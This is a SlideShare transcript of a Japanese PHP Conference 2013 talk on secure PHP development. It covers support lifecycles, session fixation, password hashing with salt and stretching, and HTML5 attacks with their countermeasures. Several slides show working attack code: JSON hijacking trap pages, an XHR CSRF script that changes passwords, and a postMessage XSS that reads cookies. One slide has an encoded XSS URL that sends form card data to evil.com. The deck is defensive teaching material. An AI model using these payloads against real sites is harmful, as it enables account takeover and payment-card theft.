• Like
  • Save
安全なPHPアプリケーションの作り方2013
Upcoming SlideShare
Loading in...5
×
 

安全なPHPアプリケーションの作り方2013

on

  • 244,398 views

PHPカンファレンス2013における徳丸のプレゼン資料です。後から、参考文献などを加筆しました。

PHPカンファレンス2013における徳丸のプレゼン資料です。後から、参考文献などを加筆しました。

Statistics

Views

Total Views
244,398
Views on SlideShare
243,676
Embed Views
722

Actions

Likes
115
Downloads
189
Comments
3

14 Embeds 722

https://twitter.com 360
http://m-shige1979.hatenablog.com 104
http://blog.shebangri.la 96
http://act2012bl.wordpress.com 91
https://cybozulive.com 30
http://tweetedtimes.com 10
http://localhost 10
https://act2012bl.wordpress.com 6
http://192.168.1.25 4
http://nuevospowerpoints.blogspot.com 4
https://web.tweetdeck.com 2
http://test.smartnetworks.jp 2
http://b.hatena.ne.jp 2
http://127.0.0.1 1
More...

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel

13 of 3 Post a comment

  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
  • なるほど、意図について理解しました。ご回答いただきありがとうございます。
    Are you sure you want to
    Your message goes here
    Processing…
  • ご指摘ありがとうごさいます。特に理由はありません。強いて言えば、中身をホワイトボックスで示したかったと言うことくらいです。
    Are you sure you want to
    Your message goes here
    Processing…
  • 23 ページの password_hash() についてですが、 PHP のマニュアルの http://jp2.php.net/manual/ja/intro.password.php にて紹介されている「ユーザーランドの実装」を選択せず、独自実装の紹介としているのは何か理由があるでしょうか。 https://github.com/ircmaxell/password_compat の作者は PHP 5.5 における password_hash() の RFC 作成者であり、実装者でもある Anthony Ferrara 自身によるもので、個人的には PHP 5.5 の password_hash() と同程度に信頼して使ってよいものという認識でいたのですが……
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

    安全なPHPアプリケーションの作り方2013 安全なPHPアプリケーションの作り方2013 Presentation Transcript

    • 安全なPHPアプリケーションの作り方2013 2013年9月14日 HASHコンサルティング株式会社 徳丸 浩
    • • PHPのライフサイクルにどうつきあう? • セッションフィクセイション結局どうする • パスワードの守り方 • デモから学ぶ HTML5セキュリティ入門 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved アジェンダ 2
    • PHPのライフサイクルにどうつき あう? 3
    • 4
    • サポートライフサイクルポリシーとは • サポートライフサイクルポリシーとは、製品サポートに ついてのサポートポリシーを文書化したもの • 厳密な契約ではないが、購入者に対する「約束」と考え られる • マイクロソフト社の取り組みが有名 – 2002 年 10 月に最初に発表 – 2004 年 6 月に更新 – 詳しくは次のスライドで… Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 5
    • マイクロソフト社のサポートライフサイクルポリシー メインストリームサポート 次のうちいずれか長い方 ・ 製品発売から5年 ・ 後継製品の発売から2年 延長サポート 次のうちいずれか長い方 ・ メインストリームサポート終了から5年 ・ 2番目の後継製品の発売から2年 •最新の製品を使う限り、7年間のサポートが保証されている(追加費用無し) メインストリームサポート Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 6
    • 【参考】PHPのサポート状況 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 PHP5.x PHP4.x PHP3.x 3.5年 •オープンソース・ソフトウェアは通常サポートポリシーが明確でない •PHPの場合、最悪ケースで、最新版を使っていても3.5年でサポートが終 了になるケースもあった •アプリケーションのライフサイクルの中で、基盤ソフトのサポート終了を想 定した計画立案が要求される Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 7
    • Request for Comments: Release Process(PHP) • Yearly release cycle – 3 years release life cycle – 2 years bug fixes only – 1 year security fixes only • 下図のように、PHP5.x(2番目の数字)を使い続けるのは、 2~3年が限度 https://wiki.php.net/rfc/releaseprocess より引用Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 8
    • サポートライフサイクルポリシーまとめ • ソフトウェア選定時にサポートライフサイクルポリシー を確認すること – PHP以外に、フレームワークやDB、ライブラリ等も • サポート計画を検討する – PHPをRedHat/CentOSのパッケージで導入すれば10年サポー トに – PHPのバージョンアップにとことん付き合うという選択肢 – 途中でバージョンアップする計画を立てておく(予算も) • 他のソフトウェアのサポートライフサイクルにも注意 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 9
    • セッションフィクセイション結 局どうする 10
    • PHP5.5.2でStrict Sessionsがマー ジされました 11
    • 大垣さん、まことにおめでとう ございます (_ _) 12
    • • PHPのセッション管理機構には、未初期化のセッション IDを受け入れる問題があった (Session Adoption) • 例えば、PHPSESSID=ABC をCookieにセットしておく と、そのままセッションIDとして使ってくれる • セッションフィクセーション攻撃の時に、Session Adoptionがあると便利! • セッションフィクセーション対策には、ログイン成功後 に下記を実行すること – session_regenerate_id(true); • PHP5.5.2以降では、 php.iniに下記を指定すると、 Session Adoptionが解消される – session.use_strict_mode = 1 Strict Sessionsとは何か Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 13
    • Strict Sessionsのデモ 14
    • • Strict SessionsはPHP5.5のみの対応で、PHP5.3やPHP5.4 では対応していない – PHP5.4以前は、session_regenerate_id(true); で対応 • PHP5.5.2以降だと、session_regenerate_id()は不要? – 必要 – 「勝手に作ったセッションIDを受け入れない」だけで、攻撃対 象からセッションIDを入手すれば、セッションフィクセーショ ン攻撃は依然として可能 • 結局、アプリの書き方は変わらない – ログイン成功後に session_regenerate_id(true); Strict Sessionsでアプリの書き方は変わる? Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 15
    • パスワードの守り方 16
    • LinkedInからのパスワード漏洩事件 17http://www.itmedia.co.jp/enterprise/articles/1206/07/news017.html より引用
    • 650万件のパスワードハッシュのうち540万件が1週間で解読 http://securitynirvana.blogspot.jp/2012/06/final-word-on-linkedin-leak.html より引用 https://twitter.com/jmgosney/statuses/213212108924522496 より引用 Surviving on little more than furious passion for many sleepless days, we now have over 90% of the leaked passwords recovered. 18
    • Saltってなに? • ソルト(Salt)とは、ハッシュの元データ(パスワード)に追加す る文字列 • 見かけのパスワードの長さを長くする →レインボーテーブル対策 • ユーザ毎にソルトを変えることで、パスワードが同じでも、異なる ハッシュ値が得られる – ソルトがない場合、パスワードの組み合わせ回数分ですむが、ソルト があると、×ユーザ数 に試行回数が増える – LinkedInの場合は、試行回数が 650万倍に ! • ソルトの要件 – ある程度の長さを確保すること – ユーザ毎に異なるものにすること • ソルトには乱数を用いることが多いが、乱数が必須というわけでは ない(暗号論的に安全な乱数である必要はもちろんない) • ソルトは秘密情報ではない。ソルトは、通常ハッシュ値と一緒に保 存する Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 19
    • Stretchingってなに? • ストレッチング(Stretching)とは、ハッシュの計算を繰り返すこと • ハッシュの計算を遅くすることにより、辞書攻撃や総当たり攻撃に対 抗する • 1万回ストレッチすると、「 GPUモンスターマシンで20分掛かる」 が20万分になる計算 – 20万分 = 139日 … • 「悪い」パスワードまで救えるわけではない – 「password」というパスワードをつけていたら、100万回ストレッチし てもすぐに解読されてしまう • 十分長いパスワードをつけてもらえば、ストレッチングは必要ない – 1文字パスワードを長くすることは、約90回のストレッチングに相当する。 パスワードを2文字長くしてもらえば… – ストレッチングは、「弱いパスワード」の救済の意味がある • ストレッチングはメリットとデメリットがあるので、導入の有無と回 数をよく検討すること Copyright © 2008-2013 HASH Consulting Corp. All rights reserved むむ、これだとパスワードの定期的変更か? 20
    • パスワードをハッシュで保存する場合の課題 • 「パスワードリマインダ」が実装できない – 「秘密の質問」に答えるとパスワードを教えてくれるアレ – パスワードリセットで代替 • ハッシュの形式(アルゴリズム、ソルト、ストレッチ回数)の変更 – 生パスワードが分からないのでハッシュの方式変更がバッチ処理では できない – ユーザの認証成功の際にはパスワードが分かるので、その際に方式を 変更すると良い – 緊急を要する場合は、現在パスワードを無効にして、パスワードリセ ットで – ハッシュ値あるいは別フィールドに「方式番号」をもっておく – PHP5.5のpassword_hash関数が便利 (ソルト・ストレッチング内蔵) $1$d641fdabf96912$4b3c3e95dfab179ebfef220172f58171 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 方式番号 ソルト ハッシュ値 21
    • password_hash 関数 (PHP5.5から) http://php.net/manual/ja/function.password-hash.php より引用 <?php echo password_hash('rasmuslerdorf’, PASSWORD_DEFAULT); 【結果】 $2y$10$.vGA1O9wmRjrwAVXD98HNOgsNpDczlqm3Jq7KnEd1rVAGv3Fykk1a Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 22
    • password_hash関数の代替(PHP5.3.7~PHP5.4) Copyright © 2008-2013 HASH Consulting Corp. All rights reserved function get_salt() { $random = file_get_contents('/dev/urandom', false, NULL, 0, 18); $base64 = base64_encode($random); return substr(strtr($base64, '+', '.'), 0, 22); } function get_hash($password) { $salt = get_salt(); return crypt($password, ‘$2y$10$’ . $salt); // $10$ は適宜調整してください } function verify_password($password, $hash) { $salt = substr($hash, 7, 22); $new_hash = crypt($password, '$2y$10$' . $salt); return $hash === $new_hash; } 23
    • 結局どうすればよいの? • パスワード認証は、利用者とサイト運営者が責任を分かち合ってい る • 利用者に、よいパスワードをつけてもらうのが本筋 • オンライン攻撃に備えて、以下を実施する – アカウントロックの実装 – SQLインジェクションなどの脆弱性対処 – でれきば…二段階認証、リスクベース認証 – Googleなど認証プロバイダの活用 • オフライン攻撃対策は中々決め手がない – ソルトなしのハッシュは、レインボーテーブルで元パスワードが簡単 に求められる – ソルトは必須。できるだけストレッチングもする(password_hash関数 など) – DBのパスワード欄に余裕を持たせ、方式を改良できるようにしておく Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 24
    • デモから学ぶ HTML5セキュリティ入門 25
    • 激安お徳情報(罠サイト) デモに出てくるWebサイトの説明 アフィリエイトブログ ドメインとるなら おネーム.com 広告モジュール 広告事業者 adv.com blog.com oname.com evil.com Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 26
    • DOM Based XSS 27
    • blogの外観 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 28
    • トラッキング用img要素の生成箇所 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved <iframe src="http://adv.com/ad.html?siteId=50341"> </iframe> <a href="http://oname.com/"><img src="oname.png"></a> <div id="img"></div> <script> var div = document.getElementById('img'); var img = '<img src="track.php?siteId=' + qstrs.siteId + '">'; div.innerHTML = img; // siteId を localStorageに保存 localStorage.siteId = parseInt(qstrs.siteId); iframeの参照 iframeのソース(主要部) 29
    • Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 30
    • • 確かにXSSはあるが、ドメイン(オリジンは) http://adv.com であり、他のドメインには影響はない はず • siteIdはlocalStorageに保存しているが、parseIntを通 しているので、汚染されることはない • そもそもblog.comから呼び出される場合、siteIdは固定 なので、攻撃経路がない • 見解の正否は後ほど… Copyright © 2008-2013 HASH Consulting Corp. All rights reserved DOM Based XSSの影響(高橋の見解) 31
    • JSON Hijack 32
    • プロフィール画面 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved <script src="jquery-1.10.2.min.js"></script> <script> $(function() { $.ajax({ dataType: 'json', url: 'getProfile_json.php' }).done(function(json) { $('#name').text(json[0].name); $('#addr').text(json[0].addr); $('#tel').text(json[0].tel); $('#mail').text(json[0].mail); }); }); </script> プロフィール<br> 氏名:<span id="name"></span><br> 住所:<span id="addr"></span><br> 電話番号:<span id="tel"></span><br> メールアドレス:<span id="mail"></span><br> プロフィールの表示(profile.php) [{"name":"Taro Yamada", "tel":"03-1111-2222", "mail":"yamada@example.jp", "addr":"1-1-1, Mita, Minato- city, Tokyo"}] 33
    • • JSONって、JavaScriptだよね • script要素で読み込めるよね • クッキーも飛ぶよね • JSONデータを盗むワナを作れないか? 34 JSON Hijackとは… これは罠サイト script要素はクロスドメインで読み込み可能 クッキーもつくよ <script> // ここにJSONを読む仕掛けを置く </script> <script src="http://oname.com/getProfile_json.php"></script>
    • JSON Hijackの罠 (setter版; 一般利用者が閲覧) Copyright © 2008-2013 HASH Consulting Corp. All rights reserved <body onload="alert(x)"> 罠サイト <script> var x = ""; Object.prototype.__defineSetter__("name", function(v) { x += 'name = ' + v + "¥n"; }); Object.prototype.__defineSetter__("tel", function(v) { x += 'tel = ' + v + "¥n"; }); // …省略 // 以下がJSONデータ <script src="http://oname.com/getProfile_json.php"></script> </body> ※ Xperia Arc (Android 2.3.4)にて実行 35
    • JSON Hijackの罠 (IE向け;一般利用者が参照) Copyright © 2008-2013 HASH Consulting Corp. All rights reserved <script> window.onerror = function(e) { if (e.match(/'({"memo".*)'$/)) { var msg = 'JSONハイジャックに成功:' + RegExp.$1; } else { var msg = 'JSONハイジャックに失敗:' + e; } var divmemo = document.getElementById('memo'); var text = document.createTextNode(msg); divmemo.appendChild(text); } </script> これは罠サイトです(IE限定) <div id="memo"></div> <script src="http://oname.com/getProfile_json.php" language="vbscript"></ script> 36
    • • Content-Typeを正しく設定する header('Content-Type: application/json; charset=UTF-8’); • X-Content-Type-Options: nosniff を出力する header('X-Content-Type-Options: nosniff'); • 最新のIEを用いる(CVE-2013-1297対策ずみのもの) – JSON Hijackができることはブラウザのバグ • X-Requested-Withヘッダのチェック – ヘッダ X-Requested-With: XMLHttpRequest があること – jQueryやprototype.jsでは自動的に付与される – script要素で読む場合は、ヘッダは操作できない Copyright © 2008-2013 HASH Consulting Corp. All rights reserved JSON Hijackの対策 37
    • JSONによるXSS 38
    • ドメイン名検索機能(JSON) Copyright © 2008-2013 HASH Consulting Corp. All rights reserved {"status":"ok","key":"tokumaru","results":["tokumaru.us"," tokumaru.ru"]} http://oname.com/searchdomain_json.php?dname=tokumaru {"status":"fail","key":"<img src=# onlerror=alert(1)>","re sults":[]} http://oname.com/searchdomain_json.php?dname=<img%20src%3D%23%20 onlerror%3Dalert(1)> ブラウザにJSON(application/json)と認 識されれば問題ないが、 HTML(text/html)と認識されるとXSSに 39
    • XSS実行例 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 40
    • • Content-Typeを正しく出力(これでIE以外OK) header('Content-Type: application/json; charset=UTF-8'); • X-Content-Type-Options: nosniff ヘッダを出力 header('X-Content-Type-Options: nosniff'); // これで IE8 以降は OK • リクエスト時にX-Request-Withを付与して、サーバー 側で確認する – jQuery等では自動的付与。すべてのブラウザで有効な対策 • < や > もUnicodeエスケープする json_encode($row, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP); JSONによるXSSの対策 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 41
    • XHR L2によるCSRF 42
    • • 高橋君の見解 – FormのPOST送信ではJSON形式は送信できない – XMLHttpRequestではクロスドメイン通信はできない – ∴ どちらで攻撃されても大丈夫 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved CSRF脆弱なサンプル session_start(); // ログイン確認 if (isset($_SESSION['id'])) { $id = $_SESSION['id']; $stream = file_get_contents(‘php://input’); // リクエスト・ボディ $json = json_decode($stream, TRUE); if (isset($json['pwd']) && $json['pwd'] !== '') { // パスワードがJSONとして渡ってきている場合にパスワード変更 $pwd = $json['pwd']; // パスワード変更処理(ログにパスワードを吐くのは禁止だが、以下はデモのため) error_log(“Password is changed. id: ${id} password: ${pwd}”); // 以下はエラー処理 パスワード変更処理のソース(PHP; 主要部) 43
    • Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 攻撃スクリプト var requester = new XMLHttpRequest(); requester.open('POST', 'http://oname.com/chgpwd_json.php', true); // 以下がないとGoogle Chromeでプレフライト(OPTIONS)が送信されるので攻撃失敗する requester.setRequestHeader("Content-type", "text/plain"); // 以下でリクエストにクッキーを付与する requester.withCredentials = true; // レスポンスは受け取れないので、コールバック関数はセットしていない requester.send('{"pwd":"123456"}'); 攻撃スクリプト(JavaScript; 主要部) Password is changed. id: yamada password: 123456 実行結果:サーバーログ 44
    • • XHR Level2対応のブラウザ(IE以外)の場合、クロスド メイン(クロスオリジン)にホストにリクエスト自体は 無条件に可能 – サーバー側でAccess-Control-Allow-Originヘッダを送信しない と、レスポンスを受け取れないが、CSRF攻撃ではレスポンスは 元々必要ない • setRequestHeaderを用いる場合は、プレフライトに対 応する必要がある • このため、攻撃の場合Content-Typeヘッダを指定でき ない(text/plainは例外らしい) – サーバー側でContent-Typeをチェックすると少し安全に • 根本的には、通常通りトークンによる対策を推奨 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 解説 45
    • PostMessageに注意 46
    • 広告モジュールからpostMessageでsiteIdを受け取る Copyright © 2008-2013 HASH Consulting Corp. All rights reserved window.addEventListener("message", function(event) { var siteId = event.data; var form = document.getElementById('form'); var input = '<input type="hidden" name="siteId" value="' + siteId + '">'; form.innerHTML += input; } , false); 購入画面にてsiteIdを埋め込み(purchase.php) parent.postMessage( localStorage.siteId, '*'); 広告モジュールからsiteIdを送信(affiliate.html) ドメインとるならおネーム.com 広告モジュール oname.com postMessage 47 adv.com
    • • siteIdの埋め込み箇所(下記)には潜在的なXSSがある var input = '<input type="hidden" name="siteId" value="' + siteId + '">'; form.innerHTML += input; • しかし、siteIdをlocalStorageに保存する際にparseIntで フィルタリングしているため、攻撃文字列を埋め込まれる 心配はない この箇所のDOM Based XSSに関する高橋の考察 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 48
    • 罠サイトからpostMessaeが可能 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved win = window.open( 'http://oname.com/purchase.php?domain=tokumaru.us', "x"); setTimeout(function () { win.postMessage('"><img width=1 height=1 src=/ onerror="alert(d ocument.cookie)">', '*'); }, 2000); 罠画面から購入画面を開き、Cookieを窃取 ドメイン取るならおネーム.com 広告モジュール oname.com postMessage 激安マル秘情報 evil.com postMessage window.open ① ② ③ 49
    • postMessage経由のXSS攻撃 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 50
    • • 送信側: データを渡してもよいオリジンを指定する win.postMessage(message, ’http://oname.com’) • 受信側: データを受け取ってもよいオリジンを確認する Copyright © 2008-2013 HASH Consulting Corp. All rights reserved postMessageを扱う場合の注意 window.addEventListener("message", function(event) { if (event.origin !== "http://adv.com") { alert('不正なpostMessage'); return; } var siteId = event.data; var form = document.getElementById('form'); var input = '<input type="hidden" name="siteId" value="' + siteId + '">'; form.innerHTML += input; } , false); 購入画面にてsiteIdを埋め込み(purchase.php) 51
    • これまでのおさらい Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 52
    • • 広告表示モジュールにXSS – http://adv.comオリジンにのみ影響とのことで受容した • 広告モジュールから販売サイトへのpostMessage – http://adv.comオリジンからのみ受け取るように制限した • 販売サイトのDOM Based XSS – 広告モジュール(adv.com)にて、siteIdを整数値に制限している ので、実害はないと判断、受容した これまでのおさらい(高橋の見解) Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 53
    • この対策で大丈夫か? Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 54
    • まぜるな危険 ! Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 55
    • • 広告表示モジュールにXSS – http://adv.comオリジンにのみ影響とのことで受容した – XSSでローカルストレージに攻撃文字列を書き込める • 広告モジュールから販売サイトへのpostMessage – http://adv.comオリジンからのみ受け取るように制限した – 上記によりhttp://adv.comオリジンから攻撃を受ける可能性 • 販売サイトのDOM Based XSS – 広告モジュール(adv.com)にて、siteIdを整数値に制限している ので、実害はないと判断、受容した – 上記により、攻撃を受ける可能性 合わせ技で「大変なこと」に! Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 56
    • 罠サイトからpostMessaeが可能 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved localStorage adv.com XSSを利用して 攻撃コードをセット 激安お徳情報 evil.com 遷移 ① ② ドメインとるならおネーム.com 広告モジュール oname.com postMessage③ 攻撃コード 攻撃 57
    • 攻撃コードの例 58Copyright © 2008-2013 HASH Consulting Corp. All rights reserved http://adv.com/ad.html?siteId=%22%20onload%3d%22localStorage.siteId%3d%26quot; 50341¥%26quot;%3E%3Cimg%20width%3d1%20height%3d1%20src%3d/%20onerror%3 d¥%26quot;document.forms[0].onsubmit%3dfunction(){f%3ddocument.forms[0];r%3dn ew%20XMLHttpRequest();r.open('GET','http://evil.com/r.php?'%2bf.name.value%2b':'% 2bf.cardnum.value%2b':'%2bf.expire.value,false);r.send();return%20true;}%26quot;; 50341"><img width=1 height=1 src=/ onerror="document.forms[0].onsubmit=function() {f=document.forms[0];r=new XMLHttpRequest();r.open('GET','http://evil.com/r.php?'+f. name.value+':'+f.cardnum.value+':'+f.expire.value,false);r.send();return true;} document.forms[0].onsubmit=function(){ f = document.forms[0]; r = new XMLHttpRequest(); r.open(('GET', 'http://evil.com/r.php?'+f.name.value+':'+f.cardnum.value+':'+ f.expire.value, false); r.send(); return true; } adv.comへの攻撃例 攻撃後のローカルストレージsiteId oname.comで実行されるコード(読みやすく整形) サブミットすると、フォームの値を 外部に漏えいさせるバックドア
    • バックドアによる情報漏えい 59Copyright © 2008-2013 HASH Consulting Corp. All rights reserved ドメイン取るならおネーム.com evil.com oname.com XSSでセットさ れたバックドア 購入 氏名 カード番号 有効日付
    • • HTML組み立てを以下のいずれかの方法で行う – DOM操作用のメソッドやプロパティを用いる • 文脈に応じたエスケープ処理を施す Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 対策 var div = document.getElementById('img'); var img = document.createElement('img'); img.setAttribute('src', 'track.php?siteId=' + encodeURIComponent(qstrs.siteId)); div.appendChild(img); var div = document.getElementById('img'); var img = '<img src="track.php?siteId=' + encodeURIComponent(qstrs.siteId) + '">'; div.innerHTML = img; 60
    • 対策(続き) Copyright © 2008-2013 HASH Consulting Corp. All rights reserved window.addEventListener("message", function(event) { var siteId = event.data; var form = document.getElementById('form'); var input = document.createElement('input'); input.setAttribute('name', 'siteId'); input.setAttribute('value', siteId); // setAttributeを使えば、HTMLエスケープの必要はない form.appendChild(input); } , false); 61
    • • HTML5になり攻撃のバリエーションは増加しているが、 基本は変わらない – XSS: 文脈に応じたエスケープ または DOM操作用メソッド・プ ロパティ – CSRF: トークンにより対策 • “手抜きをしない” – 手抜きの例 : XHRではクロスドメイン通信ができないと思い CSRF対策を怠る • 対策はできるだけ局所的に完結する • JSONのXSSに注意 • postMessageによる情報漏えいやデータ汚染に注意 • 最新のjQueryその他のライブラリを用いる Copyright © 2008-2013 HASH Consulting Corp. All rights reserved まとめ 62
    • 参考文献(1) Copyright © 2013 HASH Consulting Corp. XSSの基礎を説明してい ますが、DOM base XSS やAjaxに関する説明は あまりありません 63
    • 参考文献(2) http://www.ipa.go.jp/about/technicalwatch/20130129.html DOM base XSSに関する 体系的な説明として貴 重な参考資料です 64
    • 参考文献(3) ブラウザセキュリティの 「面倒くささ」について、逃 げずに丹念に説明してい ます。上級者および上級 者を目指す方向け 65
    • • HTML5 and Security Part 1 : Basics and XSS [PPT] – http://utf-8.jp/public/20130613/owasp.pptx • HTML5時代のWebセキュリティ[PPT] – http://utf-8.jp/public/20120915/20120915-html5.pptx • XMLHttpRequestを使ったCSRF対策 – http://d.hatena.ne.jp/hasegawayosuke/20130302/p1 • 機密情報を含むJSONには X-Content-Type-Options: nosniff をつ けるべき – http://d.hatena.ne.jp/hasegawayosuke/20130517/p1 • JSONをvbscriptとして読み込ませるJSONハイジャック(CVE-2013- 1297)に注意 – http://blog.tokumaru.org/2013/05/JSON-information-disclosure- vulnerability-CVE-2013-1297.html • PHPのイタい入門書を読んでAjaxのXSSについて検討した(1)~(3) – http://d.hatena.ne.jp/ockeghem/20110905/p1 66 参考文献(4)
    • • セッションアダプションに対する私の見解 – http://tumblr.tokumaru.org/post/37870453034/about-session- adoption • 本当は怖いパスワードの話 – http://www.atmarkit.co.jp/fsecurity/special/165pswd/01.html • Webアプリでパスワード保護はどこまでやればいいか – http://www.slideshare.net/ockeghem/how-to-guard-your- password • いまさら聞けないパスワードの取り扱い方 – http://www.slideshare.net/ockeghem/ss-25447896 67 参考文献(5)
    • Thank you 68